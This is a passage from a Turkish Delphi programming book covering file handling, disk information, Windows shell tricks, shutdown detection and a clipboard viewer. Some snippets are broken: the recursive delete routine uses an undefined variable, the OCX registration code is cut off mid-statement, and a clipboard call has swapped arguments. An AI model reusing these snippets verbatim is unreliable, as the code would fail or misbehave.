DÖKÜMAN ŞABLONLARI Bir dizindeki dosyaların ve alt dizinlerin tümünün silinmesi procedure removeTree (DirName: string); var FileSearch: SearchRec; begin chDir (DirName); FindFirst ('*.*', Directory, FileSearch); while (DosError = 0) do begin if (FileSearch.name <> '.') AND (FileSearch.name <> '..') AND ( (FileSearch.attr AND Directory) <> 0) then begin if DirName[length(DirName)] = '\' then removeTree (DirName+FileSearch.Name) else removeTree (DirName+'\'+FileSearch.Name); ChDir (DirName); end; FindNext (FileSearch) end; FindFirst ('*.*', AnyFile, FileSearch); while (DosError = 0) do begin if (FileSearch.name <> '.') AND (FileSearch.name <> '..') then Remove (workdir); end; FindNext (FileSearch) end; rmDir (DirName) end;
DOSYA KOPYALAMA Aşağıdaki kodu içeren unitin Uses listesine "LZExpand"eklenmelidir. var
1538
SourceHandle, DestHandle: Integer; SName,DName: String; begin SourceHandle := FileOpen(SName,0); DestHandle := FileCreate(DName); LZCopy(SourceHandle,DestHandle); FileClose(SourceHandle); FileClose(DestHandle); End; BAŞKA BİR KOPYALAMA YÖNTEMİ; function FileCopy(source,dest: String): Boolean; var fSrc,fDst,len: Integer; size: Longint; buffer: packed array [0..2047] of Byte; begin Result := False; if source <> dest then begin fSrc := FileOpen(source,fmOpenRead); if fSrc >= 0 then begin size := FileSeek(fSrc,0,2); FileSeek(fSrc,0,0); fDst := FileCreate(dest); if fDst >= 0 then begin while size > 0 do begin len := FileRead(fSrc,buffer,sizeof(buffer)); FileWrite(fDst,buffer,len); size := size - len; end; FileSetDate(fDst,FileGetDate(fSrc)); FileClose(fDst); FileSetAttr(dest,FileGetAttr(source)); Result := True; end; FileClose(fSrc); end; end; end;
İKİLİ DOSYADAN OKUMA var f: File; c: Char; begin AssignFile(f, 'Dosyaadi.bin'); Reset(f, 1); BlockRead(f, c, sizeof(c)); CloseFile(f); end; {Yukarıdaki kod her seferinde bir karakter okur. Disk erişimi yavaş bir işlemdir. Bu nedenle bir mecburiyet yoksa, her seferinde 1 karakter yerine daha fazlası okunmalıdır.}
BİR DOSYANIN SALT OKUNUR OLARAK AÇILMASI Assignfile satırından sonra dosya açma modu belirtilmelidir.
1539
AssignFile(F, FileName); FileMode := 0; ( Salt okunur } Reset(F); CloseFile(F);
SATIR SONU KARAKTERİNİN ASCİİ KODU NEDİR? Control-Z, veya 26 numaralı ASCII karakteri
DİSK SERİ NUMARASI VE ETİKETİNİN OKUNMASI unit diskinfo; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type diskinfostructure=record DiskEtiketi:string; DiskSeriNo :string; end; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; f:system.text; blg:diskinfostructure; implementation {$R *.DFM} Function WinExecute32( FileName : String; Visibility : integer):integer; var zAppName:array[0..512] of char; zCurDir:array[0..255] of char; WorkDir:String; StartupInfo:TStartupInfo; ProcessInfo:TProcessInformation; begin StrPCopy(zAppName,FileName); GetDir(0,WorkDir); StrPCopy(zCurDir,WorkDir); FillChar(StartupInfo,Sizeof(StartupInfo),#0);
1540
StartupInfo.cb := Sizeof(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW; StartupInfo.wShowWindow := Visibility; if not CreateProcess(nil, zAppName, nil, nil, false, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then Result := -1 else begin WaitforSingleObject(ProcessInfo.hProcess,INFINITE); GetExitCodeProcess(ProcessInfo.hProcess,Result); end; end; function disk(dsk:char;var bilgi:diskinfostructure):boolean; var row:array[1..50] of string; c,i:integer; vollabel,serial:string; begin assignfile(f,'c:\dir.bat'); rewrite(f); writeln(f,'dir '+dsk+':\*.zzzz> c:\dir.txt'); closefile(f); winexecute32('c:\dir.bat',0); assignfile(f,'c:\dir.txt'); reset(f); i:=1; while not eof(f) do begin readln(f,row[i]); inc(i,1); end; closefile(f); if pos('is',row[2])>0 then bilgi.DiskEtiketi:=copy(row[2],pos('is',row[2])+2,11) else bilgi.DiskEtiketi:='Disk etiketi yok'; bilgi.DiskSeriNo:= copy(row[3],pos('is',row[3])+2,15); deletefile('c:\dir.bat'); deletefile('c:\dir.txt'); result:=true; end; procedure TForm1.Button1Click(Sender: TObject); begin disk('c',blg); showmessage(blg.DiskEtiketi); showmessage(blg.DiskSeriNo); end; end. DİSK SERİ NUMARASINA ERİŞİMİN BAŞKA BİR YOLU..
1541
unit diskvol; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} function GetDiskVolSerialID( cDriveName : char ) : DWord; var dwTemp1, dwTemp2 : DWord; begin GetVolumeInformation( PChar( cDriveName + ':\' ), Nil, 0, @Result, dwTemp2, dwTemp2, Nil, 0 ); end; procedure TForm1.Button1Click(Sender: TObject); begin showmessage(inttostr(GetDiskVolSerialID('C'))) end; end. DİSK BİLGİLERİNİ ELDE ETMENİN BİR DİĞER YOLU İSE; type VolInf=record Etiket:string; serino:string; tip:string; disk_Tip:string; bos_yer:string; Top_Yer:string; end;
1542
function VolInfo(var diskinfos:volinf;disk:char):boolean; type TDrvType = (dtNotDetermined, dtNonExistent, dtRemoveable, dtFixed, dtRemote, dtCDROM, dtRamDrive); var //Disk bigisi kayıtı nVNameSer : PDWORD; drv : String; pVolName : PChar; FSSysFlags, maxCmpLen : DWord; I : Integer; pFSBuf : PChar; dType : TDrvType; SectPerCls, BytesPerCls, FreeCls, TotCls : DWord; begin //Değişkenleri sıfırla drv := disk + ':\'; GetMem(pVolName, MAX_PATH); GetMem(pFSBuf, MAX_PATH); GetMem(nVNameSer, MAX_PATH); //Disk Volume bilgisini al GetVolumeInformation(PChar(drv), pVolName, MAX_PATH, nVNameSer, maxCmpLen, FSSysFlags, pFSBuf, MAX_PATH); //Sistem uzun dosya isimlerini destekliyormu? if (maxCmpLen > 8.3) then diskinfos.Etiket:= StrPas(pVolName); diskinfos.serino:=IntToStr(nVNameSer^); diskinfos.tip:=StrPas(pFSBuf);//dosyasistemi //Sürücü tipi bilgilerini al dType := TDrvType(GetDriveType(PChar(drv))); case dType of dtNotDetermined : diskinfos.disk_Tip := 'Tespit edilemedi'; dtNonExistent : diskinfos.disk_Tip := 'Mevcut değil'; dtRemoveable : diskinfos.disk_Tip := 'Portatif disk (Floppy)'; dtFixed : diskinfos.disk_Tip := 'Sabit disk'; dtRemote : diskinfos.disk_Tip := 'Uzak veya ağ sürücüsü'; dtCDROM : diskinfos.disk_Tip := 'CD-ROM sürücü'; dtRamDrive : diskinfos.disk_Tip := 'RAM sürücü'; end; //Diskteki toplam ve boş alan bilgisini al (MB) GetDiskFreeSpace(PChar(drv), SectPerCls, BytesPerCls, FreeCls, TotCls); diskinfos.bos_yer:=FormatFloat('0.00', (SectPerCls * BytesPerCls * FreeCls)/1000000) + ' MB'; diskinfos.Top_Yer:= FormatFloat('0.00', (SectPerCls * BytesPerCls * TotCls)/1000000) + ' MB'; //Hafızayı temizle FreeMem(pVolName, MAX_PATH); FreeMem(pFSBuf, MAX_PATH);
1543
FreeMem(nVNameSer, MAX_PATH); end;
BİR DOSYANIN TARİH VE SAAT BİLGİSİNİN ALINMASI procedure TForm1.Button1Click(Sender: TObject); var TheFileDate: string; Fhandle: integer; begin FHandle := FileOpen('C:\COMMAND.COM', 0); Try TheFileDate := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle))); finally FileClose(FHandle); end; SHOWMESSAGE(THEFILEDATE); end;
BİR KLASÖRÜN ÖZELLİĞİNİN DEĞİŞTİRİLMESİ Aşağıdaki kod örneğinde, bir klasörün "Hidden" özelliği değiştirilmektedir. Function DirectoryHide(Const FileString : String): Boolean; Var Attributes : Integer; Begin Result := False; Try If Not DirectoryExists(FileString) Then Exit; Attributes := faDirectory + faHidden + faSysFile; FileSetAttr(FileString,Attributes); Result := True; Except End; End; --Function DirectoryUnHide(Const FileString : String): Boolean; Var Attributes : Integer; Begin Result := False; Try If Not DirectoryExists(FileString) Then Exit; Attributes := faDirectory; FileSetAttr(FileString,Attributes); Result := True; Except End; End;
DOSYANIN SÜRÜKLENİP BIRAKILMASI Fare ile sürüklenerek, aşağıdaki unite bağlı form üzerine dosya bırakıldığında, bırakılan dosyanın dizini ve adı tespit edilmektedir.
1544
unit dragfile; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm2 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } procedure AcceptFiles( var msg : TMessage ); message WM_DROPFILES; end; var Form2: TForm2; implementation uses ShellAPI; {$R *.DFM} procedure TForm2.AcceptFiles( var msg : TMessage ); const cnMaxFileNameLen = 255; var i, nCount : integer; acFileName : array [0..cnMaxFileNameLen] of char; begin nCount := DragQueryFile( msg.WParam, $FFFFFFFF, acFileName, cnMaxFileNameLen ); for i := 0 to nCount-1 do begin DragQueryFile( msg.WParam, i, acFileName, cnMaxFileNameLen ); MessageBox( Handle, acFileName, '', MB_OK ); end; DragFinish( msg.WParam ); end; procedure TForm2.FormCreate(Sender: TObject); begin DragAcceptFiles( Handle, True ); end; end.
WİNDOWS GEÇİCİ KLASÖRÜNÜN BULUNMASI 1545
Windows 95 ve NT işletim sistemlerinde, geçici dosyalar için kullanılan, genellikle "TEMP" isimli bir klasör vardır. Fakat bazen kullanıcılar bu dizinin adını veya yerini değiştirirler. Aşağıdaki fonksiyon, geçici dizini tespit eder. function GetTempDirectory: String; var TempDir: array[0..255] of Char; begin GetTempPath(255, @TempDir); Result := StrPas(TempDir); end; procedure TForm1.Button1Click(Sender: TObject); begin showmessage(gettempdirectory); end; Windows sistem dizininin bulunması Var SysDir: PChar; Size: Word; SysDirInString : String[144]; Begin SysDir := ''; GetSystemDirectory(SysDir, Size); SysDirInString := StrPas(SysDir); Canvas.TextOut(10, 10, SysDirInString); end;
DOSYA YARATILMA TARİHİ Bu fonksiyon, dosyanın yaratıldığı tarihi döndürür. Function File_GetCreationDate(FileName : String): TDateTime; var SearchRec : TSearchRec; DT : TFileTime; ST : TSystemTime; begin Result := 0; If Not FileExists(FileName) Then Exit; Try SysUtils.FindFirst(FileName, faAnyFile, SearchRec); Try FileTimeToLocalFileTime(SearchRec.FindData.ftCreationTime,DT) ; FileTimeToSystemTime(DT, ST); Result := SystemTimeToDateTime(ST); Finally SysUtils.FindClose(SearchRec); End; Except Result := 0; End; end;
DOSYANIN SON KULLANILDIĞI TARİH Bu fonksiyon, dosyanın, son olarak kullanıldığı tarihi döndürür. Function File_GetLastAccessDate(FileName : String):
1546
TDateTime; var SearchRec : TSearchRec; DT : TFileTime; ST : TSystemTime; begin Result := 0; If Not FileExists(FileName) Then Exit; Try SysUtils.FindFirst(FileName, faAnyFile, SearchRec); Try FileTimeToLocalFileTime(SearchRec.FindData.ftLastAccessTime,D T); FileTimeToSystemTime(DT, ST); Result := SystemTimeToDateTime(ST); Finally SysUtils.FindClose(SearchRec); End; Except Result := 0; End; end;
DOSYANIN SON DEĞİŞTİRİLDİĞİ TARİH Bu fonksiyon, FileName parametresi ile gönderilen dosyanın, son olarak değiştirildiği tarihi bulmaya yarar. Function File_GetLastModifiedDate(FileName : String): TDateTime; var SearchRec : TSearchRec; DT : TFileTime; ST : TSystemTime; begin Result := 0; If Not FileExists(FileName) Then Exit; Try SysUtils.FindFirst(FileName, faAnyFile, SearchRec); Try FileTimeToLocalFileTime(SearchRec.FindData.ftLastWriteTime,DT ); FileTimeToSystemTime(DT, ST); Result := SystemTimeToDateTime(ST); Finally SysUtils.FindClose(SearchRec); End; Except Result := 0; End; end;
DİZİN BOŞMU? DirName parametresi ile gönderilen dizinin boş olup olmadığını kontrol etmeye yarayan bir fonksiyon. Function IsDirEmpty(DirName: String): Boolean; Begin If IsDir(DirName) Then Begin
1547
If IsFile(DirName+'\*.*') Then Begin Result := False; End Else Begin Result := True; End; End Else Begin Result := False; End; End;
DOSYA UZANTISI HANGİ PROGRAMLA BAĞLANTILI? Bir dosyanın uzantısına bakarak, hangi program tarafından çalıştırılacağının bulunması için aşağıdaki kod örneği kullanılabilir. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); const BufferSize = {$IFDEF Win32} 540 {$ELSE} 80 {$ENDIF}; var Buffer : PChar; StringPosition : PChar; ReturnedData: Longint; begin Buffer := StrAlloc(BufferSize); try { get the first entry, don't bother about the version !} ReturnedData := BufferSize; StrPCopy(Buffer, '.pas'); RegQueryValue(hKey_Classes_Root, Buffer, Buffer, ReturnedData);
1548
if StrLen(Buffer) > 0 then begin showmessage(strpas(buffer)); end; except showmessage('bulunamadı'); end; end; end. GERİ DÖNÜŞÜM KUTUSUNA GÖNDER. Bir dosyayı, geri dönüşüm kutusuna göndererek silmek için ; unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} uses ShellApi; function DF(sFileName : string ) : boolean; var fos : TSHFileOpStruct; begin FillChar( fos, SizeOf( fos ), 0 ); with fos do begin Wnd := application.handle; wFunc := FO_DELETE; pFrom := PChar( sFileName ); fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT; end; Result := ( 0 = ShFileOperation( fos ) ); end;
1549
procedure TForm1.Button1Click(Sender: TObject); begin df('c:\"WP.txt'); end; end.
GENEL Bu bölümde, diğer başlıklar altında yer almayan püf noktaları ve kod örnekleri yer almaktadır.
KARAKTER DİZİSİ KARŞILAŞTIRMA unit matchstring; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; CheckBox1: TCheckBox; Edit1: TEdit; Edit2: TEdit; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } function MatchStrings(source, pattern: String): Boolean; end; var Form1: TForm1; implementation {$R *.DFM} function tform1.MatchStrings(source, pattern: String): Boolean; var pSource: Array [0..255] of Char; pPattern: Array [0..255] of Char; function MatchPattern(element, pattern: PChar): Boolean; function IsPatternWild(pattern: PChar): Boolean; var t: Integer; begin Result := StrScan(pattern,'*') <> nil; if not Result then Result := StrScan(pattern,'?') <> nil; end;
1550
begin if 0 = StrComp(pattern,'*') then Result := True else if (element^ = Chr(0)) and (pattern^ <> Chr(0)) then Result := False else if element^ = Chr(0) then Result := True else begin case pattern^ of '*': if MatchPattern(element,@pattern[1]) then Result := True else Result := MatchPattern(@element[1],pattern); '?': Result := MatchPattern(@element[1],@pattern[1]); else if element^ = pattern^ then Result := MatchPattern(@element[1],@pattern[1]) else Result := False; end; end; end; begin StrPCopy(pSource,source); StrPCopy(pPattern,pattern); Result := MatchPattern(pSource,pPattern); end; procedure TForm1.Button1Click(Sender: TObject); begin checkbox1.checked:=matchstrings(edit1.text,edit2.text); end; end.
YÜKLENMİŞ DLL DOSYALARININ HAFIZADAN ATILMASI Kullanılmayan DLL'lerin hafızada boşuna yer işgal etmemesi için hafızadan atılması gerekebilir. Aşağıdaki kod örneğinde bu işlemin yapılması gösterilmektedir. EditDLLName isimli 1 Tedit, 1 Tamam ve 1 adet de Kapat butonu form üzerine yerleştirilmiştir. Tamam butonunun OnClick davranışına yazılan kod aşağıdadır. procedure TForm1.TamamBtnClick(Sender: TObject); var hDLL: THandle; aName : array[0..10] of char; FoundDLL : Boolean; begin if EditDLLName.Text = '' then begin MessageDlg('Çıkarılacak DLL dosyasının adını yazınız.!',mtInformation,[mbOk],0); exit; end; StrPCopy(aName, EditDLLName.Text); FoundDLL := false; repeat hDLL := GetModuleHandle(aName); if hDLL = 0 then break;
1551
FoundDLL := true; FreeLibrary(hDLL); until false; if FoundDLL then MessageDlg('Tamam!',mtInformation,[mbOk],0) else MessageDlg('DLL Bulunamadı!',mtInformation,[mbOk],0); EditDLLName.Text := ''; end;
BİR DOS KOMUTUNUN KULLANILMASI Windows 95 ortamındayken, bir DOS komutunun çalıştırılması için gereken yordam şudur. procedure doskomutu(komut:string;mesajver:boolean); var Startupinfo:TStartupinfo; ProcessInfo:TProcessInformation; begin if terminateprocess(processinfo.hProcess,0)=NULL then begin if mesajver then showmessage('Devam eden işlem iptal edilemedi'); exit; end; FillChar(StartupInfo,Sizeof(StartupInfo),#0); StartupInfo.cb := Sizeof(StartupInfo); StartupInfo.wShowWindow := SW_HIDE; StartupInfo.dwFlags:=STARTF_USESHOWWINDOW; if not CreateProcess(nil, Pchar('c:\command.com /c '+komut), nil, nil, true, NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then begin if mesajver then ShowMessage('İşlem gerçekleştirilemedi') end else begin if mesajver then ShowMessage('İşlem tamam') end; end; Bu yordamın kullanımı; procedure TForm1.Button1Click(Sender: TObject); begin doskomutu('copy c:\autoexec.bat a:\autoexec.dat',false); end;
1552
TEDİT METNİNİN, ONCHANGE OLAYINDA DEĞİŞTİRİLMESİ Eğer, bir Tedit bileşenindeki metni, aynı bileşenin OnChange olayında değiştirmeye kalkarsanız, yığın (Stack) dolana kadar sürecek bir zincirleme reaksiyon yaratırsınız. Bu işlemi yapabilmek için, OnChange olay yordamına girildiğinde, önce OnChange olayı boşaltılmalı, işlem bitince yeniden eski haline getirilmelidir. procedure Edit1Change(Sender : TObject); begin Edit1.OnChange := NIL; if Edit1.Text = 'Some Text' then Edit1.Text := 'New Text'; Edit1.OnChange := Edit1Change; end;
TMEMO BİLEŞENİNDE, İMLEÇ HANGİ SATIRDA? Bir Tmemo bileşeninde, imlecin hangi satırda olduğunu anlamak için; With Memo1 do begin Line := Perform(EM_LINEFROMCHAR,SelStart, 0); Column := SelStart - Perform(EM_LINEINDEX, Line, 0); end;
ULUSAL AYARLAR Başlangıçta, Delphi bütün Tarih/Saat ayarlarını Kontrol panelde belirtilen bölgesel ayarlardan alarak kullanır. Bu durum, özellikle tarih alanlarına değer girildiğinde, hatalara neden olabilir. Bu sorunun çözümü için, Delphi içerisinde tanımlanmış ve bu tür bilgileri taşıyan değişkenleri, isteğinizi karşılayacak şekilde değiştirebilirsiniz. DecimalSeparator := '.'; ShortDateFormat := 'mm/dd/yy';
TEDİTBOX BİLEŞENİNDEKİ METNİN İLK KARAKTERİNİN, BÜYÜK HARFE ÇEVİRİLMESİ TeditBox bileşenindeki metnin ilk karakterinin, büyük harfe çevirilmesi için aşağıdaki kod kullanılabilir. procedure TForm1.Edit1Change(Sender: TObject); var OldStart : Integer; begin With Edit1 do if Text <> '' then begin OnChange := NIL; OldStart := SelStart; Text := UpperCase(Copy(Text,1,1))+ LowerCase(Copy(Text,2,Length(Text))); SelStart := OldStart; OnChange := Edit1Change; end; end;
WİNDOWS'UN KAPANMA ANININ TESPİTİ Windows'un kapanma anının yakalanabilmesi için, Windows tarafından kapanmadan önce yayınlanan,
1553
WM_EndSession mesajı yakalanmalıdır.Mesaj yakalama yordamı, uygulama ana form sınıfının, Private bölümünde şu şekilde tanımlanır. procedure WMEndSession(var Msg : TWMEndSession); message WM_ENDSESSION; Mesaj yakalama yordamının kendisi ise, Implementation bölümünde aşağıdaki gibi yaratılır. procedure TForm1.WMEndSession(var Msg : TWMEndSession); begin if Msg.EndSession = TRUE then ShowMessage('Windows kapatılıyor. '); inherited; end; veya procedure TForm1.WMQueryEndSession(var Msg : TWMQueryEndSession); begin if MessageDlg('Windows kapansınmı ?', mtConfirmation, [mbYes,mbNo], 0) = mrNo then Msg.Result := 0 else Msg.Result := 1; end; WİNDOWSUN KAPANDIĞINI TESPİT EDEN BİR BİLEŞEN KODU AŞAĞIDADIR. unit winshut; interface uses Messages, SysUtils, Classes, Forms, Windows; type TkapanmaOlayi = procedure (Sender: TObject; var TamamKapat: boolean) of object; type TSezonuKapat = class(TComponent) private FUYG: THandle; FParent: THandle; FESKIWINYORD: pointer; FYeniPencereYordami: pointer; KAPANIRKEN: TkapanmaOlayi; TamamKapat: boolean; procedure YeniPencereYordami(var MESAJ: TMessage); public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure Loaded; override; published property WINKAPANIS: TkapanmaOlayi read KAPANIRKEN write KAPANIRKEN; end; procedure Register; implementation constructor TSezonuKapat.Create (AOwner : TComponent); begin inherited Create(AOwner); TamamKapat := TRUE; FUYG := Application.Handle; FParent := (AOwner as TForm).Handle;
1554
FYeniPencereYordami := MakeObjectInstance(YeniPencereYordami); end; destructor TSezonuKapat.Destroy; begin SetWindowLong(FUYG, GWL_WndProc, longint(FESKIWINYORD)); FreeObjectInstance(FYeniPencereYordami); inherited Destroy; end; procedure TSezonuKapat.Loaded; begin inherited Loaded; FESKIWINYORD := pointer(SetWindowLong(FUYG, GWL_WndProc,longint(FYeniPencereYordami))); end; procedure TSezonuKapat.YeniPencereYordami(var MESAJ: TMessage); begin with MESAJ do begin if (Msg=WM_QUERYENDSESSION) then begin if Assigned(KAPANIRKEN) then KAPANIRKEN(Self,TamamKapat); if TamamKapat then Result := CallWindowProc(FESKIWINYORD, FUYG, Msg, wParam,lParam) else Result := 0; end else Result := CallWindowProc(FESKIWINYORD, FUYG, Msg, wParam,lParam); end; end; procedure Register; begin RegisterComponents('Kitap', [TSezonuKapat]); end; end.
BİR MEMO VEYA RİCHEDİT BİLEŞENİNDE, İMLECİN İSTENEN YERE GÖNDERİLMESİ With Memo1 do SelStart := Perform(EM_LINEINDEX, Line, 0); Windows çevirmeli ağ bağlantı penceresinin çağırılması procedure TForm1.Button1Click(Sender: TObject); begin winexec(PChar('rundll32.exe rnaui.dll,RnaDial '+Edit1.Text),sw_show); end;
OTOMATİK E-MAİL 1555
//uses satırına shellapi eklenmeli procedure TForm1.Button1Click(Sender: TObject); begin ShellExecute(Handle,'open','mailto:[email protected]',' ','',sw_Normal); end;
MONİTÖRÜN AÇILIP KAPATILMASI Kapatılması; procedure TForm1.Button1Click(Sender: TObject); begin SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); timer1.enabled:=true; end; açılması için; procedure TForm1.Timer1Timer(Sender: TObject); begin SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); timer1.enabled:=false; end;
WİNDOWS'UN KAPATILMASI/YENİDEN BAŞLATILMASI Kapatılması; procedure TMainForm.RestartWindowsBtnClick(Sender: TObject); begin if not ExitWindows(EW_RestartWindows, 0) then ShowMessage('Bir uyulama kapanmayı reddetti'); end; Yeniden başlatılması; procedure TMainForm.RebootSystemBtnClick(Sender: TObject); begin if not ExitWindows(EW_RebootSystem, 0) then ShowMessage(Bir uyulama kapanmayı reddetti '); end;
SİSTEMDE SES KARTI VARMI? Winmm.Dll de bulunan waveOutGetNumDevs fonksiyonu kullanılarak, sistemde ses kartı olup olmadığı anlaşılabilir. Önce interface bölümünde fonksiyon tanımlanmalıdır. function SoundCardPresent : longint; stdcall; external 'winmm.dll' name 'waveOutGetNumDevs'; Kullanımı; If SoundCardPresent = 0 then Showmessage('Ses kartı yok');
PROGRAMIN ARKA PLANDA ÇALIŞTIRILMASI Program çalıştığında, hiç bir yerde görünmediği halde, ikonunu Windows görev çubuğuna yerleştirecektir. Üzerinde sağ fare tuşuna basılarak açılacak menü ile görünür hale getirilebilir. Unit1.dfm; unit Unit1;
1556
interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, ShellAPI, Menus; const WM_MINIMALIZE = WM_USER + 1 type TForm1 = class(TForm) PopupMenu1: TPopupMenu; Show1: TMenuItem; Hide1: TMenuItem; Quit1: TMenuItem; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Show1Click(Sender: TObject); procedure Hide1Click(Sender: TObject); procedure Quit1Click(Sender: TObject); private FIconData : TNotifyIconData; public procedure WMMinimalize(var Message : TMessage); message WM_MINIMALIZE; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var i : Integer; begin with FIconData do begin cbSize := SizeOf(FIconData); Wnd := Self.Handle; uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP; hIcon := Application.Icon.Handle; uCallbackMessage := WM_MINIMALIZE; szTip := 'My own application'; end; Shell_NotifyIcon(NIM_ADD, @FIconData); end; procedure TForm1.FormDestroy(Sender: TObject); begin Shell_NotifyIcon(NIM_DELETE, @FIconData); end; procedure TForm1.WMMinimalize(var Message : TMessage); var p : TPoint; begin case Message.LParam of WM_RBUTTONUP: begin GetCursorPos(p); PopupMenu1.Popup(p.x, p.y);
1557
end; end; end; procedure TForm1.Show1Click(Sender: TObject); begin Form1.Visible := TRUE; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.Hide1Click(Sender: TObject); begin Self.Visible := FALSE; end; procedure TForm1.Quit1Click(Sender: TObject); begin Application.Terminate; end; end. Project1.dpr; program Project1; uses Forms, Unit1 in 'Unit1.pas' {Form1}; {$R *.RES} begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.ShowMainForm := FALSE; Application.Run; end. Windows görev çubuğunun gizlenmesi/Gösterilmesi Gizlenmesi; procedure TForm1.Button1Click(Sender: TObject); var MyTaskbar:Hwnd; begin MyTaskBar:= FindWindow('Shell_TrayWnd', nil); ShowWindow(MyTaskBar, SW_HIDE); end; Gösterilmesi procedure TForm1.Button2Click(Sender: TObject); var MyTaskbar:Hwnd; begin MyTaskBar:= FindWindow('Shell_TrayWnd', nil); ShowWindow(MyTaskBar, SW_SHOW); end;
ÇALIŞAN PROGRAMIN, GÖREV ÇUBUĞU ÜZERİNDEN KALDIRILMASI program Project1; uses Forms,windows,
1558
Unit1 in 'Unit1.pas' {Form1}; {$R *.RES} var es:integer; begin Application.Initialize; ES := GetWindowLong(Application.Handle, GWL_EXSTYLE); ES := ES or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, ES); Application.CreateForm(TForm1, Form1); Application.Run; end.
OCX'KULLANIMI Programda OCX örneğin THTML kullanıldığında, programı başka bir makinede çalıştırmak, problem olabilir. Bunun sebebi, OCX'lerin, çalışabilmeleri için Sistem kayıtları veri tabanına kayıtlı olmalarının gerekmesidir. Bu işlem Regsvr32.exe kullanılarak veya programın kendi içerisinden yapılabilir. Başka bir problem nedeni ise OCX kontrolünün birden fazla dosyadan oluşması ihtimalidir. Bunların tümü diğer makineye taşınmalıdır. OCX için hangi dosyaların gerekli olduğu QuickView programı kullanılarak tespit edilebilir.Aşağıda, kullanılan OCX'leri diğer makineye kaydettiren bir yordam yeralmaktadır. function CheckOCX:Boolean; var Reg:TRegistry; begin Reg:=TRegistry.Create; try Reg.RootKey:=HKEY_CLASSES_ROOT; // Kontrolün UID bilgisi windows sistem kayıtları veri //tabanından alınmaktadır. Result:=Reg.OpenKey('CLSID\{B7FC3550-8CE7-11CF-975400AA00C00908}',False); if Result then Reg.CloseKey; finally Reg.Free; end; end; procedure RegisterOCX; var Lib:THandle; S:String; P:TProcedure; begin OleInitialize(nil); try S:=ExtractFilePath(Application.ExeName)+'HTML.OCX'; Lib:=LoadLibrary(PChar(S)); if Lib
1559
OleUninitialize; end; end; procedure Uninstall; var Lib:THandle; S:String; P:TProcedure; begin S:=ExtractFilePath(Application.ExeName)+'HTML.OCX'; Lib:=LoadLibrary(PChar(S)); if Lib
EKRAN ÇÖZÜNÜRLÜĞÜNDEKİ DEĞİŞİKLİKLERİN TESPİTİ unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) private { Private declarations } public { Public declarations } procedure WMDisplayChange( var msg : TWMDisplayChange );message wm_DisplayChange; end; var Form1: TForm1; implementation {$R *.DFM} procedure tform1.WMDisplayChange( var msg : TWMDisplayChange ); begin showmessage('Renk=2 üzeri '+inttostr(msg.BitsPerPixel)+ ' En='+inttostr(msg.width)+ ' Boy='+inttostr(msg.height)) end; end.
1560
PANO GÖRÜNTÜLEME Panoya kopyalanan metnin, görüntülenmesi unit ClipboardViewer; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private FNextViewerHandle : THandle; procedure WMDrawClipboard (var message : TMessage); message WM_DRAWCLIPBOARD; procedure WMChangeCBCHain (var message : TMessage); message WM_CHANGECBCHAIN; public end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin FNextViewerHandle := SetClipboardViewer(Handle); end; procedure TForm1.FormDestroy(Sender: TObject); begin ChangeClipboardChain(Handle, FNextViewerHandle); end; procedure TForm1.WMDrawClipboard (var message : TMessage); begin message.Result := SendMessage(WM_DRAWCLIPBOARD, FNextViewerHandle, 0, 0); memo1.lines.clear; memo1.PasteFromClipboard end; procedure TForm1.WMChangeCBCHain (var message : TMessage); begin if message.wParam = FNextViewerHandle then begin FNextViewerHandle := message.lParam; message.Result := 0; end else begin message.Result := SendMessage(FNextViewerHandle, WM_CHANGECBCHAIN, message.wParam, message.lParam);
1561
end; end; end.
